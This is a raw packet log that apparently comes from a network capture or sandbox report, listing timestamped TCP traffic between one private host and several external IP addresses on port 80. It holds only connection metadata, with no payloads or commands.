Nov 7, 2024 10:50:15.477536917 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477554083 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477566004 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477595091 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477607012 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.477632999 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.477682114 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.520462990 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.520533085 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.520544052 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.520555019 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.520555019 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.520575047 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.520586014 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.551758051 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.551810026 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.551811934 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.551822901 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.551841974 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.551860094 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600099087 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600142956 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600155115 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600161076 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600172997 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600181103 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600192070 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600281000 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600332022 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600342035 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600393057 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600414038 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600423098 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600426912 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600435019 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600469112 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600508928 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600661993 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600673914 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600686073 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600697994 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600701094 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600713015 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600728035 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600778103 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600811958 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600846052 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600860119 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600868940 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600872993 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600884914 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600889921 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600908995 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600934982 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600946903 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600958109 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600964069 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.600970030 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.600995064 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.601021051 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.601193905 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.601206064 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.601217031 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.601239920 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.601255894 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.644162893 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.644177914 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.644190073 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.644254923 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.644452095 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.675410986 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.675431013 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.675445080 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.675477982 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.675494909 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723444939 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723459959 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723472118 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723491907 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723504066 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723522902 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723531008 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723536968 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723547935 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723558903 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723573923 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723649025 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723684072 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723697901 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723709106 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723727942 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723730087 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723742008 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.723747969 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723762989 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723777056 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.723798990 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:15.724555016 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:15.724653006 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:23.169816971 CET	49163	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:23.174751997 CET	80	49163	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:23.174839020 CET	49163	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:23.189984083 CET	49163	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:23.418184996 CET	80	49163	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:23.418196917 CET	80	49163	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:23.418241978 CET	49163	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:23.426307917 CET	80	49163	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:23.887725115 CET	80	49163	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:23.889235020 CET	80	49163	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:23.889306068 CET	49163	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:23.938357115 CET	80	49163	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:23.938410997 CET	49163	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:24.699580908 CET	49163	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:25.716651917 CET	49164	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:25.725110054 CET	80	49164	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:25.725167036 CET	49164	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:25.735951900 CET	49164	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:25.742552042 CET	80	49164	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:26.437747002 CET	80	49164	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:26.438641071 CET	80	49164	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:26.438847065 CET	49164	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:26.492413998 CET	80	49164	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:26.492636919 CET	49164	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:27.244447947 CET	49164	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:28.259371042 CET	49165	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:28.264368057 CET	80	49165	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:28.264445066 CET	49165	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:28.275607109 CET	49165	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:28.280658960 CET	80	49165	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:28.280725956 CET	49165	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:28.280766010 CET	80	49165	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:28.285614967 CET	80	49165	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:28.285689116 CET	80	49165	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:28.966834068 CET	80	49165	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:28.966856003 CET	80	49165	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:28.966922998 CET	49165	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:29.018090963 CET	80	49165	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:29.018250942 CET	49165	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:29.785223007 CET	49165	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:30.802517891 CET	49166	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:30.807566881 CET	80	49166	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:30.807635069 CET	49166	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:30.815200090 CET	49166	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:30.820328951 CET	80	49166	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:31.693883896 CET	80	49166	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:31.693917990 CET	80	49166	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:31.694031000 CET	80	49166	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:31.694046974 CET	80	49166	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:31.694050074 CET	49166	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:31.694092989 CET	49166	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:31.694092989 CET	49166	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:31.696962118 CET	49166	80	192.168.2.22	38.88.82.56
Nov 7, 2024 10:50:31.702578068 CET	80	49166	38.88.82.56	192.168.2.22
Nov 7, 2024 10:50:36.714900970 CET	49167	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:36.720072985 CET	80	49167	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:36.720153093 CET	49167	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:36.732366085 CET	49167	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:36.737287998 CET	80	49167	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:36.737299919 CET	80	49167	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:36.737348080 CET	49167	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:36.742312908 CET	80	49167	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:37.377024889 CET	80	49167	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:37.377144098 CET	49167	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:38.240595102 CET	49167	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:38.245441914 CET	80	49167	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:39.257761002 CET	49168	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:39.263801098 CET	80	49168	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:39.263885975 CET	49168	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:39.275105000 CET	49168	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:39.280028105 CET	80	49168	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:39.900291920 CET	80	49168	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:39.900365114 CET	49168	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:40.783411980 CET	49168	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:40.788247108 CET	80	49168	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:41.800906897 CET	49169	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:41.805871964 CET	80	49169	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:41.805974960 CET	49169	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:41.817393064 CET	49169	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:41.822374105 CET	80	49169	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:41.822400093 CET	80	49169	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:41.822474957 CET	49169	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:41.827294111 CET	80	49169	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:41.827395916 CET	80	49169	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:42.423675060 CET	80	49169	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:42.423768997 CET	49169	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:43.326034069 CET	49169	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:43.331512928 CET	80	49169	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:44.344960928 CET	49170	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:44.351521969 CET	80	49170	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:44.351619005 CET	49170	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:44.360196114 CET	49170	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:44.371540070 CET	80	49170	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:44.980684996 CET	80	49170	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:44.981004000 CET	80	49170	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:44.981050014 CET	49170	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:44.983838081 CET	49170	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:50:44.988792896 CET	80	49170	15.197.148.33	192.168.2.22
Nov 7, 2024 10:50:50.014950991 CET	49171	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:50.022315025 CET	80	49171	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:50.022506952 CET	49171	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:50.041954994 CET	49171	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:50.049552917 CET	80	49171	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:50.049566031 CET	80	49171	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:50.049612045 CET	49171	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:50.056380033 CET	80	49171	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:50.922560930 CET	80	49171	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:50.922580004 CET	80	49171	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:50.922591925 CET	80	49171	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:50.922602892 CET	80	49171	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:50.922700882 CET	49171	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:51.071341038 CET	80	49171	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:51.071471930 CET	49171	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:51.547287941 CET	49171	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:52.565416098 CET	49172	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:52.570537090 CET	80	49172	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:52.570641994 CET	49172	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:52.585923910 CET	49172	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:52.590953112 CET	80	49172	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:53.461095095 CET	80	49172	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:53.461122990 CET	80	49172	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:53.461134911 CET	80	49172	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:53.461173058 CET	80	49172	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:53.461199045 CET	49172	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:53.610300064 CET	80	49172	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:53.610361099 CET	49172	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:54.090059996 CET	49172	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:55.112843990 CET	49173	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:55.117830992 CET	80	49173	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:55.117923021 CET	49173	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:55.128864050 CET	49173	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:55.133958101 CET	80	49173	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:55.134139061 CET	80	49173	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:55.134155989 CET	49173	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:55.139240026 CET	80	49173	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:55.139683962 CET	80	49173	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:56.010493994 CET	80	49173	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:56.010521889 CET	80	49173	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:56.010534048 CET	80	49173	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:56.010663986 CET	49173	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:56.161416054 CET	80	49173	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:56.161636114 CET	49173	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:56.633023024 CET	49173	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:57.654131889 CET	49174	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:57.659097910 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:57.659174919 CET	49174	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:57.667145967 CET	49174	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:57.672084093 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.540420055 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.540811062 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.540837049 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.540878057 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.540889025 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.540900946 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.540910006 CET	49174	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:58.540935993 CET	49174	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:58.541099072 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.541110992 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.541122913 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.541138887 CET	49174	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:58.541220903 CET	49174	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:58.689763069 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:50:58.689893007 CET	49174	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:58.690763950 CET	49174	80	192.168.2.22	194.58.112.174
Nov 7, 2024 10:50:58.695924997 CET	80	49174	194.58.112.174	192.168.2.22
Nov 7, 2024 10:51:00.100586891 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:51:00.106151104 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:51:00.106204987 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:51:03.938695908 CET	49175	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:03.943542004 CET	80	49175	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:03.943587065 CET	49175	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:03.955749035 CET	49175	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:03.960664034 CET	80	49175	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:03.960695982 CET	80	49175	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:03.960720062 CET	49175	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:03.965583086 CET	80	49175	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:04.577043056 CET	80	49175	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:04.577152967 CET	49175	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:05.462605000 CET	49175	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:05.467586040 CET	80	49175	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:06.479989052 CET	49176	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:06.484930992 CET	80	49176	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:06.490210056 CET	49176	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:06.498207092 CET	49176	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:06.503392935 CET	80	49176	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:07.117810965 CET	80	49176	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:07.118251085 CET	49176	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:08.005332947 CET	49176	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:08.010143995 CET	80	49176	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:09.022723913 CET	49177	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:09.027643919 CET	80	49177	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:09.030209064 CET	49177	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:09.040909052 CET	49177	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:09.045783043 CET	80	49177	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:09.045856953 CET	80	49177	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:09.046020031 CET	49177	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:09.051110029 CET	80	49177	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:09.051120996 CET	80	49177	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:09.646953106 CET	80	49177	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:09.647008896 CET	49177	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:10.548336029 CET	49177	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:10.553314924 CET	80	49177	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:11.595999002 CET	49178	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:11.601182938 CET	80	49178	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:11.601275921 CET	49178	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:11.647349119 CET	49178	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:11.652486086 CET	80	49178	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:12.235718966 CET	80	49178	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:12.236434937 CET	80	49178	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:12.236531973 CET	49178	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:12.238708019 CET	49178	80	192.168.2.22	15.197.148.33
Nov 7, 2024 10:51:12.243509054 CET	80	49178	15.197.148.33	192.168.2.22
Nov 7, 2024 10:51:17.557225943 CET	49179	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:17.562117100 CET	80	49179	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:17.562177896 CET	49179	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:17.573620081 CET	49179	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:17.578560114 CET	80	49179	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:17.578603983 CET	49179	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:17.578630924 CET	80	49179	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:17.583616972 CET	80	49179	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:19.081655979 CET	49179	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:19.086788893 CET	80	49179	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:19.088287115 CET	49179	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:20.107064009 CET	49180	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:20.112356901 CET	80	49180	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:20.112422943 CET	49180	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:20.123925924 CET	49180	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:20.128951073 CET	80	49180	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:21.305032969 CET	80	49180	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:21.305087090 CET	80	49180	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:21.305164099 CET	49180	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:21.500977039 CET	80	49180	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:21.500998020 CET	80	49180	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:21.501080990 CET	49180	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:21.624325037 CET	49180	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:22.642225027 CET	49181	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:22.649116039 CET	80	49181	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:22.654232979 CET	49181	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:22.664246082 CET	49181	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:22.669262886 CET	80	49181	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:22.669313908 CET	80	49181	104.21.14.183	192.168.2.22
